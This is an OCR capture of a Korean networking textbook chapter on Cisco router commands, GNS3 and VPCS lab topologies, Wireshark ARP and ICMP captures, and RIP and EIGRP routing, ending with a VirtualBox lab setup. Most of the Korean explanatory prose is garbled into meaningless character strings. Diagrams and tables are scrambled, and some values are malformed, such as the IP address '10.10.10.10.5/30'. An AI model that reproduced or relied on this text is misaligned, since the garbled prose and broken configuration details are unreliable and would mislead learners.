1) 2}2E User Command List & 7|
Router>?
Exec commands: X Al23 2RHME FEO Xts 2 7180 ol HHNE ¢
<1-99> Session number to resume £ Y8 2, TAB7|Z2 HYOE Xts 2de &= UCL
connect Open a terminal connection X HHO F2to| 2 0|83t AL87tstt HHOE Holg = UCh
disconnect Disconnect an existing network connection X ZH&ES| 1 | 7|& O|83t0] O|TO| ALES HHOE CiA| AHBE
enable Turn on privileged commands £ ULCL
exit Exit from the EXEC X BHOE & YHSIX| Yot HAHO QA QU ALEO| JHsStCt
. O[5} M2k |
2) 2t*H HE =0l - 2tREHQ| SIEY 0 X AZEQI0 FHE =l

Router>show version

Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2006 by Cisco Systems, Inc.
Compiled Wed 22-Mar-06 18:40 by pt_team

Copyright (c) 2000 by cisco Systems, Inc.

System returned to ROM by power-on
System image file is "flash:c2800nm-ipbase-mz.123-14.T7.bin"

Processor board ID JADO5190MTZ (4292891495)
M860 processor: part number O, mask 49

2 FastEthernet/IEEE 802.3 interface(s)

239K bytes of NVRAM.

Cisco I0OS Software, 2800 Software (C2800NM-IPBASE-M), Version 12.3(14)T7, RELEASE SOFTWARE (fc2)

ROM: System Bootstrap, Version 12.1(3r)T2, RELEASE SOFTWARE (fc1)

cisco 2811 (MPC860) processor (revision 0x200) with 60416K/5120K bytes of memory




3) 2tH Ol BHH7| - Ciol 2tRHE #ET 42 Z 2t*HO| 0|52 RIFsto =gA 2|

Router(config)#hostname sunrin_t_ga
sunrin_t_ga(config)#

4) B F2 E= HEEs - 3O 20 noE 20|H Y ArgS HE Y

sunrin_t_ga(config)#no hostname
Router(config)#

5) 2tEHe| QIEEo|A Y FIt - Zh QAHIO|A0 AFS FIIoto QHIo|A AFE FEE 2EA &2 Tts

Router(config)#interface fastEthernet 0/0
Router(config-if)#description ** To WestEduDepart **

6) 2FREH2| QHHO|A HE =0l

Router#show interfaces fastEthernet 0/0

FastEthernet0/0 is administratively down, line protocol is down (disabled)
Hardware is Lance, address is 000c.cf7c.1101 (bia 000c.cf7¢c.1101)
Description: ** To WestEduDepart **
MTU 1500 bytes, BW 100000 Kbit, DLY 100 usec, rely 255/255, load 1/255

Encapsulation ARPA, loopback not set
. O3t d=f .

7) 2% 58 HAE 23 - 2&S 018510 2HRHO| THSHY| 9l HAE 273

Router(config)#line console 0
Router(config-line)#password 1234

8) Enable HAE 7 - enable BHOE ALES7| ot AQ/JE &A7F

Router(config-line)#enable password 5678

m LOHFA|LH

- 24, console : A|ARIBE|XI7F A Al MENE OLEAL 4E ARE H2|st7| {6 AHESte tHE FX|

- 2EEE 9ol UEY FAVt gle 2tRH 52 2& ZEE 0|8%10] AFHO ddstn LESE UAEH FAE A8
ZEA 012 : 2tREHe LESS AHZGT| Qs AO|20|0, 2tH MEAMYE FA0| OHE 5= US

- FastEthernet : YHIXMOZ yUTP A 0|22 HEY + U= ZEE U




09 WA ated

1. 2t2E 17HE 0|8%t 2712 HEYI AHA

7l HESA X A4 X PC HEHYA 43 &
@ GNSOIA 2tREQ} AKX, PCE Ct=1} &0| AZSt, &
702l FastEthernet QIE{HO|AZ} o2 Ztzb w1t SW20f ofzfet Zo| HZATHL}

192.168.1.11

PCo| IPTAE FHEQt Z0| A
A% PCE VPCSE O|83tLCL.

el
PC3
565 \ S R1(c2691) SWo
i : oC s *2I2EE 2691 AR
= *PCE VPCS AME
PC2 192.168.1.254 192.168.2.254 192.168.2.11
vecs
192.168.1.12

=VPCS HEQI3 HF

et 2o RIOE J|2XoR &

w22 EQF AQK| A = A2|X|QF VPCS A
BIREH ZE AQIK| ZE VPCS AQIX| ZE VPCS IPFA HO|EZ0] =A
FastEthernet0/0 | SW1 Port8 PC1 SW1 Port1 PC1 192.168.1.11 192.168.1.254
FastEthernet0/1 | SW2 Port8 PC2 SW1 Port2 PC2 192.168.1.12 192.168.1.254
PC3 SW2 Port1 PC3 192.168.2.11 192.168.2.254

EP PC?
1> pi : 192.168.1.122 2
A0l ME pingS

o A
= =

= HI S
Fagg

B H >< PC1E 192.168.1.112 AXE[0of a,
IX0f o Z |0

+ ok,




[09] ER ot*E [47]
eSS BERED

@ PC10IM 1921682112 pingS ELjECH

PC12 192.168.1.112 AHE0f U,
192.168.2.112 M2 Ct2 HEL A
3| 0] MZ ping2 TS 5 gl

cth.

Ct2e| 277t2 efo|ojAAE ELHE St
PCS A2 A=

m‘ 192.168.1.11 of 2712 QLO|ojAFR HE HOELF.

FZH 1 SWT < R1

b A1(c2691) Fca T7F 2 RT o SW2
PCl \ Swi e SW2 =<
! B —r B
“Yo/o 10/1 Alg [ e PCIOIM 1921682112 pingS +#3st1,
pC2 192.168.1.254 192.168.2.254 la2.168.2.11 L ZAAE SOIOAAE 83 et 1
R’h el o CHSH sHM S ZHdStAl2.

192.168.1.12

PC1o| 2£ =tH K

PC19| 2% 3H M%  PC1 192.168.1.112F PC3 192.168.2.111} M2 EAE 4 2SS LIEHHCE

& Capturing from - [SW1 8 to R1 FastEthernet0/0] - O =
File Edit View Go Capture  Analyze Sfatistics  Telephony Wireless  Tocls  Help
S ® TRERe=EF EEEQAQAQAHE
[W]2rely a display fiter - <Chl=/> =J ~| Ezpression-+  +
Mo, Source Destination Protocol  Length Info
THZH 12| 2LojojA R 1 Private 66:68:00 Broadcast ARP 64 Who has 192.168.1.2547 Tell 192.168.1.11
SHH 4K 2 Private:ﬁﬁ:ﬁs:aa Broadcast ARP 64 Who has 192.168.1.2542 Tell 192.168.1.11
3 Private 66:68:00 Broadcast ARP 64 Who has 192.168.1.254?2 Tell 192.168.1.11

» QO|OfARE Hol A F

oe TpEo| WZTH Ho|A| > Frame 1: 64 bytes on wire (512 bits), 64 bytes captured (512 bits) on interface 8

> Ethernet II, Src: Private 66:68:00 (80:58:79:66:68:80), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

AN 2. > Address Resolution Protocol (request)
ff ff £ff ff ff ff 88 58 79 66 68 B0 B8 86 €8 81l P yfh
B8 60 86 B4 00 81 8B 50 79 66 68 BO cB a8 €1 eb P yfh-

ff ff ff ff ff ff c@ a8 @1 fe 00 00 00 00 60 0
B0 00 90 B0 00 BO °O B0 ©D B0 B0 ©0 BO B0 °0 B0

¥ Ready to load or capture | Packets: 3- Displayed: 3{100.0%) || Profile: Default

T2t 19| mizlof ChHer MY 1H ~38 DjZ2 PC10| M2 CHE HESRIZ mjzls 27| fIsh HMOF 3t AHO|ERIOIE ARPE 0|&
z

« 4N E TZe HBNo)S Ot =HQUdtE AHOIC
ZEeto] dESIAIL. ARP 2H0| Ciet SEH2 X RY2DZ Oty QE HEQIAL} s4g = gt
£ Capturing from - [R1 FastEthernet0/1 to SW2 8] - O x
File Edit View Go Capture  Analyze Statistics  Telephony Wireless Tocls  Help
m g ® TREAe==2F 3 E=EQAQaH
TZH 29| 2F0|0{AFA [M[Prrly a display filter -~ <Ctl=/> .0 ~| Expression-- +
§|‘E ;Hux_l Mo, Source Destination Protocol  Length Info
* QO|ofAFR Fol T F
Ol Igel ozl 2ol
XS K.
¥ Ready to load or capture Mo Packets | Profile: Default

« ZHE TZlo| MBNo)E PC3 192.168.2.110] &3t HEQIE OFF| 192.168.1.0 LIEQ 0N ML= T)ZI0| Q= AEjO|CH




Lt izl MES 3 2ty 4d™
2RHE ME O HEYJIAE AHZAZ|L, HESZ Zto| WAUS %X 428 &3 MEdF= 92 3k PC, MH
2 HESRZ o ZAEE2 QF HEQAe S4lst7| st AE2F0IE0)0] Easty YHtNo=z BtREHIF O 98 W
Qo] YEYA FHEZOA 192.168.1.0/24 HERIQ} 192.168.2.0/242] HERIA= ZE R10| HALO QUCt RIS
£ dZste Chg] 9 M2 o2 HEYIE WAS 27| 23 HOIEQ0] detE oA E=ICt
2F2E R19| Fastethernet0/0 QIE{THO|AO] 192.168.1.2542 & &350 192.168.1.0/24 HO|EQ|0] d&tg
0|A0f 192.168.2.2542 &E3I0| 192.168.2.0/24 HO|EQ|0| ALS eHSHC

OF
ols
!
-
o
%]
—
@
—
5
o
o
S
@
@
(S)
S~
=
o
m

i
@ 2F2E R19| Fastethernet0/0, Fastethernet0/12 Zt WIE 3 HO|EQI0] A2 MHSIC

= Fastethernet0/0 QIEHHO|A HH

2 R - O *

= Fastethernet0/1 QEHIO]A HH

2P R - O >

nds,

X 22 E{Q| FastEthernet 0/0, FastEthernet 07101 ZtZt 192.168.1.0/242t 192.168.2.0/24 WEQA7}I XI¥ HZALE ZHS 2HEIL QA
solgh 4= QUCH O|X| 2tRE7ZF T 7i9| M2 CHE HEQIE Mooz 2IREHE S AZE F HEYI 7to| i3S

NE

7t SHREL




® PC10IM 192.168.2.112 pingS ELi=Ct

X 2t2EH QH-LOo|A 47 Mols 192.168.1.111F 192.16 1 ME
192.168.1.111 192.168.2.11 Zt0| I{ZS FOHS M'%% solgh == QUCt.
(1

hZlg FAUX| RYeLf, 2hRE AHH O~ 2F =0=

=
ot 2 HESARE m3lE HEst7| fdi 3Bt AHO|EL0[(192. 681254)°| MACEAZ ARPE E3| ZoIHeS 2 £ 9lrt
k=1

OFSZEX 2 22 B E 192.168.1.0 HEHYAMM #2 IH2Z 1921682112 H&E57| ?I5 ARPE Sdff &S

ARP &% 181t ping 28 ® SH e ot gk, FR200 oyt QPOIOMFEL DLUHE 3tHS Sof gelg 5= ot
£ Capturing from - [SW1 8 to R1 FastEthernet0/0] — O s
File Edit \iew Go Capture Analyze Statistics Telephony Wireless Tools  Help

W REResEF oI =EQAQAQB
(W[ &pply a display filter - <Ctrl=/> . ~| Expression--  +
M, Source Destination Frotocol  Length  Info

228 Private 66:68:80 Broadcast ARP 64 Who has 192.168.1.254? Tell 192.168.1.11

221 ¢B:82:43:40:80:88 Private 66:68:088 ARP 6@ 192.168.1.254 is at c0:02:43:40:00:08

222 192.168.1.11 192.168.2.11 ICMP 98 Echo (ping) request id=8x38ab, seq=1/256, tt!

223 cP:02:43:40:80:88 c0:82:43:40:00:00 LOOP 68 Reply
: 224 199 1RR 1 11 1992 1RR ? 11 TCMP 98 Frho (nine) renouest id=Ax3aah. sen=2/512. TI'V

Frame 221: 6@ bytes on wire (480 bits), 60 bytes captured (488 bits) on interface @
Ethernet II, Src: cB:82:43:40:00:00 (cB:092:43:46:80:80), Dst: Private 66:68:00 (BB:508:79:66:68:008)
Address Resolution Protocol (reply)

B8 58 79 66 68 08 cB B2 43 40 00 60 83 86 80 61 Pyfh Ca-
B5 00 06 B4 80 02 cB B2 43 408 00 00 cB ad @1 fe Ca@
B8 58 79 66 68 08 cB® a8 @1 8b 00 00 09 08 B0 @6 Pyth

80 BB 00 BG 06 00 96 B8 08 B8 B8 66

?  Ready to load or capture Packets: 263 - Displayed: 263 (100,02 || Profile: Default
£ Capturing from - [R1 FastEthernet0/1 to SW2 8] — O x
File Edit Visw Go Capturs Analyze Statistics  Telepheony  Wireless  Tools  Help

B ® TRE Qe T EQQqH
(W] &pply 2 display filter - <Cirl=/> | ~| Expression=-:  +
Ma, Source Destination Protocol  Length Info

151 ¢P:82:43:40:60:81 Broadcast ARP 68 Who has 192.168.2.112 Tell 192.168.2.254

152 Private 66:68:82 ¢0:082:43:40:06:081 ARP 60 192.168.2.11 is at 0@:50:79:66:68:02

153 ¢P:82:43:40:80:81 c0:82:43:40:00:01 LOOP 68 Reply

154 192.168.1.11 192.168.2.11 ICMP 98 Echo (ping) request id=Bx3aab, seq=2/512, tt

155 192.168.2.11 192.168.1.11 ICMP 98 Echo (ping) reply id=Bx3aab, seg=2/512, 1:tv
( a s A AFro oA E A AFA W oAAa  Traan MDD F_oLn o E ey e e e OO o D | AN —— — ST .1_}.1_

Frame 1: 359 bytes on wire (2872 bits), 359 bytes captured (2872 bits) on interface 8 &

IEEE 802.3 Ethernet G
0000 [N aRaaaaas 0 02 43 40 00 01 01 59 aa aa |REREN - (@ - Y- a
G010 B3 20 00 Bc 20 02 92 b4 86 45 0@ @1 €8 86 52 31 E- R1

B8 B85 08 fb 43 69 73 63 6f 28 49 4Ff 53 28 53 6f Cisc o I0S So

b6 74 77 61 72 65 2c 28 32 36 38 38 28 53 6f 66  ftware, 2600 Sof

?  BReady to load or capture | Packets: 172 - Displayed: 172 {100.0%) || Profile: Default




[09] EA 2t*E [50]
HEOIEHWDSSD 25D

n Z2|5t7|

- M2 CHE HESQA 2ol ozl

S Zn7| YsiME 2HEE Ao} BTk
- 2AREE ¥ HEYI O que

=
St AOIEQIOIZM SESIH, 2t HERA2t HZE fastethernet IE{T|O[20| HO|EQ O] &

48 2L
- 3 BHREO NE WZE UEYI o Yol 2o Y HHS oK YOLT S40| sttt

2. 2t2E 271§ o|8%t 2719 HIESI HZ U ™A ztE
7b 2t2E wics 438

2t Eet 2t*HE SZsH

2t2H HYS 2 F

=

M= A2l ZEQF Al2|Y HOIES AMESTICE 2tREO| A2l ZEE HHFSY| fsiMe HA
st £20| WIC-1T & WIC-2TS ZH3fstich

rUI>

T

@ E2HH HH™OA [Slots] & Of2He| WICs E=0A Hl S&0| WIC-1T E== WIC-2TO| ZH&FE|0of JUE=X| =olsict

= [

& MNode properties ? *

'R1 configuration

| General = Memories and disks | Slots | Advanced
Adapters
slot 0: | GT96100-FE - |
slat1: |
slat 2
glot 5t
slat 4
slot 5

slot G

WiCs
WIC-1T

wiic [
wic 1|

wic 2 |-

Reset (8] 4 " Cancel || Spply

X BFREO| WIC-1T & WIC-2TE HASIHLE CHE slotdf] & ZE2 FItsta{H A 2t2EQ| M2 111 Zasict
Oz AMZI2 AN AlAR BF2E 26913 WIC-2T &8 ZE, WIC-2T2| Al2|¥ ZEZH A0 AF23l= DTE-DCE #|0|&0|LC}

= A|AF 2691 QIEHO[A

= Back-To-Back DTE-DCE Cable 2t2EQ| Al2|¥ ZE|2| HZ
St= DTE-DCE #O|E0|H, 2%
B 7te| S4lof AtEE=Int




o O
=

S

=, 2PHO|

2F2E R1IF R29| Al2|Y =

192.168.1.11

el
PC1

192.168.

492

'LE ?jl:}'
EE(Serial0/0)E &°ll 2tE7E HZ =, Ct32

R1{c2691)

f0/0 ) FastEthernet0/0 l

| ) FastEthernet0/1

| D Seriald/1

10.10.10.6/30

o
(s
mjn

et

PC3

192.168.2.11

Was 0 f0/0
192.168.1.12 192.168.2.254
R2{c2691)
= AQ|X|Qt VPCS A =VPCS HEQI HF
VPCS AQK| ZE VPCS IPFA HO|EQo] =2
PC1 SW1 Port1 PC1 192.168.1.11 192.168.1.254
PC2 SW1 Port2 PC2 192.168.1.12 192.168.1.254
PC3 SW2 Port1 PC3 192.168.2.11 192.168.2.254

n 2 RH A2l ZE 273

=2l2F OlEY ZE MH

*»BI2EE 2691 AFE
*PCE VPCS AHE

2t H ZE P A 2t2H ZE IPFA g 29K ZE
R1 Serial0/0 10.10.10.10.5/30 R1 FastEthernet0/0 | 192.168.1.254/24 SW1 Port8
R2 Serial0/0 10.10.10.10.5/30 R2 FastEthernet0/0 | 192.168.2.254/24 SW2 Port8
@ 2t2H R1It 2t2EH R29| Serial 0/02 92 HEE F1st AL
w 2}2Ef R19| Serial0/0 QIEHE|O|A MY
£P R — O X

End with CNTL/Z.

» changed stat

on Interface Seri

hLINE

X GNS3'— osl 2E|AE

s changed sta

EPROTO- 1 aon Interfac

S AEH0|EstX| %Yo DCE/DTE 23 Clock rate

=2 o

M

S Mepetch




[09] & & 2249 [52]

HRoEYNSs D BEE5
® 2?H R1t 2tRE R29| Fastethernet 0/02 ¢I°] FYEE HISHH ZFCh 2H2H RI1, R22| Fastethernet 0/02 ZZ
192.168.1.0/242 192.168.2.0/24 HEYZ 2| HO|EY 0| Y& stict.

= 2}2E| R19| Fastethernet0/0 QIEH I 0O|A MY

A
=3

P R2

@ 2t2H R1, R20| & HERIZ A

w2t 2E R19 HA 2tE

StEt O Ofj A off A

=
[

PSS

pS|
= (=

olo

2t




(&)1
wW
—

oin
o
El
0x
HT
Ho—
fol
S|

® 2t2H R1, R22| 2128 HO|=& =elptr),

® PC10A PC3 192.168.2.112 pingE ELHZLC}
w2t 8 ™ = PCIOA PC3 192.168.2.1122| ping ZAut
EP PC1 - O *

x 2t9E 2F0| »EE o= HUY 2RHR)M AZE CE HE/AILAE Lzl FaEE 5+ AA =AUACL

o

1. 2F2E R1, R20|| C|EZE 2}2 & (Default Routing)2 HE23HA| L.

[TIP] && &%2
&2 2tRHE s &2 fd =& £22 M3oioh &3 £29| g2 sty 2t REE=E & £ s Z8x O

— o
|S§ M= FastEthernet® ZES A S|0F ot, 2tRE et AASY| shME Serial& RES T*Y
M |

n
"0.9,.

BiCt O|E S0 AQX|Qt AZB7| 9
Of BiCt A|AR BIREQ] ZHS REFES N

ne
1=
YE
o
Hu
]
\I -
=

1FE-TXME F E S }0, E= Ethernet, F= FastEthernet® ZES 2|0|st
Cf.
WIC-2T2| WIC= WAN Interface Card°| AXE Bt E17+°I E"éoil AH83tE AZ|YZEEO|C) O|Qo: ChYs ot &8 YU &% 2

n F2lst7|

ny
e
+
£
1

- M2 CH2 YEYas 2
2g

8ot0] ZY Mols 2 WEYT BN PFA MPUCR
- 2 2teE et 1f g 432




[10] & ct*E [54]
eSS BERED

H2 HE/R SoM AHgstz|of Hetst
AIoME S5 2tPE ZREE0 Q3 A2z HE/I 55 9

0.

ool RIS Sef BN 22 YS SEUch YN P2 MY AR YEYUI, YE§ HH}
o, Sfx|2 YERA2] R20F AT, WL AR Gt U=
l.

M MY S #%‘6}", olof et 2t E Hol22 2Hdsts &8 2teE0| 22Xo0|Ct
S8 228 ZE2EEE F0|AM RIP2L EIGRPO| EH SiM ASoi2LCt

2. RIP(Routing Information Protocol)
RIPE ZRE 7H540| e 2IRHE S+2 £XI3l810], DVA(Distance Vector Algorithm)2ts Y12 EL 2 QY SAEQIS HZEE
SHOoZ ugtsitt O] FEE HECZ Ii2l0] S8 HEYI FA0 =i W7X|Q =T H2E ZAFICL

7k Zr 2tE2l RIP 2%

-

3

@ 2HRE R13t R22| A2[Y ZEE(Serial0/0)E S3f 2tREH7IEZ| AE =, CtF2 FEE FLstol 2 TAE Gl 2IRE9| HE/IE
AYCE 2 E 2HRHOI= WIC-2TE TASHH, wIC-2T FA 2209 - FX 2t*E, 9718 ®¥1

R1{c2691})
192.168.1.11

el 192.168. L2590 s0/0 10.10.10.5/30 PC3

PC1
m BIRES 2691 ALR
1 0 *PCE VPCS AtE
PCZ
192.168.2.11
192.168.1.12 132.168.2.254
B2{c2691)
= AQ|X[Qt VPCS O = VPCS HEQT HF
VPCS AQX| ZE VPCS IPFEA HO|ESO] FA
PC1 SW1 Port1 PC1 192.168.1.11 192.168.1.254
PC2 SW1 Port2 PC2 192.168.1.12 192.168.1.254
PC3 SW2 Port1 PC3 192.168.2.11 192.168.2.254
2R EH A2|Y ZE MF = 2t2H Oyl ZE MF
2t ZE [ES 22 E ZE IPEA A AQIK| ZE
R1 Serial0/0 10.10.10.10.5/30 R1 FastEthernet0/0 | 192.168.1.254/24 SW1 Port8
R2 Serial0/0 10.10.10.10.5/30 R2 FastEthernet0/0 | 192.168.2.254/24 SW2 Port8

@ 2tRH R1I 2k E R29| Serial 0/08 fI0| F=2E FISto HFFICt (09 - FH 2+, 10Z)0t 5Lt 2 Yatpict
® 2H*E R1t 2HRE R29 Fastethernet 0/02 €12 HEE F1AsI0f HFBCh 2FRE R1, R22l Fastethernet 0/02 22
192.168.1.0/242 192.168.2.0/24 HEY32| HO|EL0| ABS BiTt [09 - HE 22 E, 11517 SYsto2 Mt
L}, 2t 2}RE{o| RIP MM

RIP= 2t 2RE7F S5t aXt St WEQIE XI7YstH ot of2fet 20| 2t 2tH7L d1g HEQIE sttt

=R12| RP 47X

2F2E R10| =™ AA= HEQA 10.10.10.4, 192.168.1.02 Z st 2 MHSICE




[10] & 2t*E [55]
eSS BERED

= R29| RIP MY
2I2E R20| XE AHZAE HESQA 10.10.104, 192.168.2.02 1Sl E MY}

BB R2 - | 4

RIPE 28 AlZt ZtH2Z Zt 2tRE7t AHAQ| 2128 HIO|2S oL CHE 2IRE
|

24
2t g HoOolES d4stet o] I

g L0l Iy wrEcol 2t BREE 29 HEE HMoR
etk BHRE R1, R, R37F RF AIZH O|30lE M2Ol 2t2F HOIZS @S0l SY 2P HOES RS NS ol

& Utk

=R1, R29| 2t2E EH|O|E ol

=

n T Mo 2 YEFIAEL|= RIP TjZ

£ *- [R1 FastEthernat0/0 to SW1 8] - O .
File Edit ‘iew Go Capture Analyze Statistics Telephony ‘Wireless Tools Help

m® REQe==2f i EF=aQaqan
[H [rip [x] ~| Expression--  +
Mo, Source Destination Frotocol  Length Info

192.168.1. 224.6.6.9 RIPv2 86 Response
192.168.1.. 224.8.8.9 RIPv2 86 Response

& [+] " /]

v Routing Information Protocol ~
Command: Response (2)
Version: RIPv2 (2)
v IP Address: 108.18.18.4, Metric: 1
Address Family: IP (2)

Route Tag: ©

IP Address: 10.10.19.4

Netmask: 255.255.255.252 .
6000 @1 @8 S5e 68 68 @9 @8 88 45 c0 .. (- B A

90 43 @0 00 9@ 90 02 11 15 36 P a8 01 fe @ @0  -H 6 v

) @ Internet Protocol Mersion 4 (p), 20 bytes || Packets: 62 - Displayed: 14 (22.6%) || Profile: Default
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eSS BERED

Ei':t-'r.i
192.168.1. 11

el 192.168.1.250 s070 10.10.10.5/30

R1{c2691})

-

B 22E R1, R20| EIGRPE A3t

m&‘ Al2. )

; ’ + AS HiZE 10002 MH
; 192.168.2.11
E. ot e v

pC1ol & StH UK
* PC3 192.168.2.1122)|
ping 21 UMBIAI2.

2H2H R19| 4 ot

Neighbo

2t2E R29| 2% 3™

s up: new adjs

[TIP] EIGRP(Enhanced Interior Gateway Routing Protocol)

AAF IGRP 7Igte| JHtE 2tE ZZEZO|ICL IP, IPX, Apple talk & CI¥$t Routed Protocolg® X|@3HH, Auto Summary,
O] HmA 2lax o] M, HESQA H
g ZzEZo|Ct

Manual SummaryE X|otCt 42 &
2 XY= FEE 7T A2 HWH

t

SHAl FA| HHE8tE FEAIZIO| W=D, 23 Fi

40 o>

u
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eSS BERED

* 7t ARE Md U dK|

HEUUAE 0|8510] 820 HF 7H4HAUS WAoottt A58 7MHAUES ddS s 7tat AlA"” XS B A48 = JUEE
T-SiCt S2f0[EE JHMMA2 YEEIRX S2 A8 ZR7t HeoR x /At 7|He R MX|stn, MHO Z2 X |l gl0| ZHEHA
AR Ag HEso

Eot H=Pt B2 AEEE 7HMNAR J|F0| ElE JHEMAIS THED, 7|2 JtY0AS SHsto] 2adt 7KL AEE =7t
AH8SHH O 22X 0|C}

Zheojilol Mo 8 #el §2 [I =% FHIE Fsiht

V¢ Oracle VM VirtualBox 22| Xt - = X
ogE oM =E2ZH)

%&6 £2 ﬁ {:} - M

MZ SHSTI(N)  £F3(S) AH AIZHT)
= o2 22
abc,com
Ubuntu (64-bit)
Attack (2] n2Es
2] THE
" OEERE J12 H22l: 1024 MB e om
=2 &M Floppy 2 L2351 CIA3 T )
G xyz.com ?i-—v YT-X/AMD-V, U AEIE HOIE, KVM BE2pAHS}
/ @ T KA W Ooaz=yo

aTIP - ZhES A BY Al fol AR

\d

ARESl e R 7t HFES RAM, HDD €7 S0

GNS2} VirtualBoxE A&t M3 ZR0= VirtualBoxOlA HEEl= Tt
0| 1024MByte2t™ HX| SAE HFEO| RAM 1024MByte?t 7H4 HFEO| SHECH

o
FolsoF oot The HFEO| L E RA

XK RAM HH RAM

SAE FHRH 7 o4 SAE HEH =t N =
7168MByte 1024MByte 6144MByte 1024MByte | 1024MByte

ot 7t HFES| HDD M= H|=coh AE0| 2SR HDD| Z2 744l HDD HE 2 5N gz & ZL 7ty
HDD ™| 27|E 50GByte2 MFUCH StEete MA 7ty AFHOIM AH8St= THE2| HDDEH ALBSHA STt 7ts%h a8 2F A
o2 HDDE ¥ g3t
&2 Q) SAE HEEO RAM 222 %|A 8GByte(16GByte B, SSD 822 %|4 256GByte(512GByte 0|4 #ZEho|Ct,

THSMAME of2f 7 0|85t HESICHE M Chfel RIS 2 JhdTilo| M7 d7|= ZR7F 2ESCL Ol E 2 Ao 28
CloZ Ao HMET JHYMAS offet 20| ova IIYUE MEE HFHS £ CHHIIM MY =Ch
HE T 2M7F 42 Jr8nA2 AFsta, MES| & OVA S ME S E0M HZ d&5S 0/0jF += ALt
e v g « WMs » F=EEVMs I D F=HE WM T4
Fa
02 FET 2R 78 37|

w# WBox 2013 _Attack Kali.ova

W WBox 2018 Metasploitable.ova
¢ VBox_2018_SecurityOnion.ova
W WEox 2018 Untangle.ova

¥ VBox_2019 Client_Mint.ova

W VBox_2020_abc.com_Ubuntu.ova
W YVBox 2020 _DMS_Ubuntu.ova

% WBox_2020 xyz.com_Ubuntu.ova

Open Virtualizati

27 2= £ =l
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HEIHUWNSE W FEESH
1. #&58 HESRA EEZX| U Z2E 3/
HEHI FHZ]E HUSIY 22K, 2tREHE 0|82t HEYJEE THSL, ddst IS HESRIAL HAsith 452 HEYA
T, M FF, HE/JILF My AS2| A =Z T
» HERA #5 1td
N 22K, 29K, 2t2H 2t
ONS S | = | aiem My | T | @3 @z | 7| demola ay |~ | TS S
» SCI0[QIE & MH = 1HY
S S b 2= A H 2a m7|X| 2% OVA mHg GNSOf| Zh&
e ” ¥y - x| - ek ” My - SE
*» HEQIA Lt S2I0[E, MH AF
GNSO| ZHaDil £2 | — | EE2X|0| J4MY ¥ | » | EE=2X| Yol 2E FA 2| | YEYI 8T ol
= HEQ3 FHE
s0/0 1458.90.5/30 s0/0 1458.90.6/30
£30,/0 192.168.1.254/24 fa0,/0 125241.100254,/24
L COMm
SW1 i R1 R2 SW2 B
fa0/0 @ @
Client enpds3 125.2541.100.10/24
\ enplsg NAT
enpOs3 192.168.1.10/24
enpls8 MNAT
XY | ZE IPFEA =] jin XY zE IPFEA H|
RT s0/0 | 14.58.90.5/30 Client enp0s3 192.168.1.10/24 SEt0|E
fa0/0 | 192.168.1.254/24 xyz.com | enp0s3 | 125.241.100.10/24 CIYE AMH
R> s0/0 | 14.58.90.6/30 22| X A™E HE : root / sunrin, sunrin / sunrin
fa0/0 | 125.241.100.254/24 % s0/0 = Serial0/0  %fa0/0 = fastethernet0/0
2. HES3 =5
HEHT #+YE]E et 20| EZZXE Fdstn 2t2H R1, R29| QEIO|AE =4 4, 2teE 4¥S TdStC)
SWi
@ 2F2E R19| Fastethernet0/0, Serial0/02| IPFAES MLt
= Fastethernet0/0 QIE{H|O]A MY
2P R - | poé
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HRQHWISSD B2ES
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= Fastethernet0/0 QIE{HO|A MY
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S
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@ 2H2H R1, R20JA ool 2tE 0 @Y HEXIS HOIEYO|Z traceE =QITHCt




63

[
295

—_—

[11] A 75 A&8 UERIT EEZX F
i}

HEEYSs

0
=)

3. Client JEQ|3 4™

HERR FHEIE O30 20| EEEX|0| ClientE F7hst swidt SIASHCH 7hamAlol M4, GNS 88 &2 [I ¢ FHE &
B YA50M Client 7HEHACZ ALBS 2|=2 Hi=ZT X HEQZ 4F FYHE ofefo] #E FHuast
HE%
XY oo PEA g
i enp0s3(Ethernet0) 192.168.1.10/24 GNS&
lent
enp0s8(Ethernet1) NAT e E

22X A™ HE(ID/Password) : root / sunrin, sunrin / sunrin
HBYZ X : https://linuxmint.com/
AKXl I1SO : linuxmint-19.1-xfce-64bit.iso

¥ AT HEDS Mg X U sAE AAHo| ALY met HE

SWI A MY,
EZ2X|0| ClientS 7k5l0 2E30) YEYT 4HS EE2X|Q HHo| LA WA YEYD MY YU (Rl 2lsA HE
TO| H|ZE[X|T OfO|R2| QAL BY S& FIM C}E 4 YUCh

2~

@ Client?] HER3 MEZ ol atH 2= ottto) E Ol0O|2 @ [Wired connection 118 MEi = &jtto| £F ofo|2g S}
S ZE$tCt S| Ethernet Networke [Wired connection 1] 0 HEXZ S=2E HESIC

M3 Bl HS OIS & QIrt

[Edit Connections] Ol0|22 2&/5I0 HEYI AZS 4

oz

sio},

(et

Network Connections kt

Wired connection 1 Name Last Used

Disconnect = Ethernet

VPN Connections

Enable Metworking

Connection Information

%EditConnections.. + - | 1F

[IPv4 Settings]E MEfstD, WIEYT FEE A3t @ ifconfig, ping BHES 0|88 HE/I 22 Qo
3|

Editing Wired connection 1 ’ Terminal - sunrin@client; -

Connection name: | Wired connection 1

File Edit View Terminal Tabs Help

IPv4 Settings

sunrin@client:~$ ifconfig
i Foassion Frmm— . enpBs3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>
' inet 192.168.1. 1U et nask 255.255.2
s ineté fe80::8b72:8072:6Tac:4871 pref

ether BS::-JL..Z?.d :f8:78 txqueuelen 1868

Address MNetmask Gateway Add RX packets a b\-‘tE‘ 5 (0.8 B)
; X errors 8 depDEd @ overruns @ frame @

ekt packets 166 bytes 13639 (13.6 KB)
X errors 8 dropped @ overruns @ carrier 8
DNS servers: - Terminal - sunrin@client: ~
Search domains: File Edit WView Terminal Tabs Help
sunrin@client:~$% ping 192.168.1.254
SR S e ) : PING 192.168.1.254 (192.168.1.254) 56(84) byte
equire IPv4 addressing for this connection to complete 54 b‘,“tES TIOI‘H 192.1D8.1.254. x 58 1 ttl:
Routes... 64 bytes from 192.168.1.254: i

64 bytes from 192.168.1.254:

Cancel save




[11] A 75 &8 UERIT EEZX 5 [64]
GROEHUDSSD RS

4. xyzcom - HES3 4%

HEYA THEIE &nslo] Ctedt 20| EZZX|0f xyzcomS F7I8T SW2 ﬂr oI ZABIC} JFAFDIAIS| MM GNS 52 S8 [T 49
ZHJZ HDBCE xyzcom ZFADIAO] CHSH HEE ADSi0] HEQD MYS HASCH YEAD MY HAS M3l 2|5A HEEO| A
F aHg st

HEZ2
A NN [E2S g8
enp0s3(Ethernet0) 125.241.100.10/24 GNS&
Xyz.com
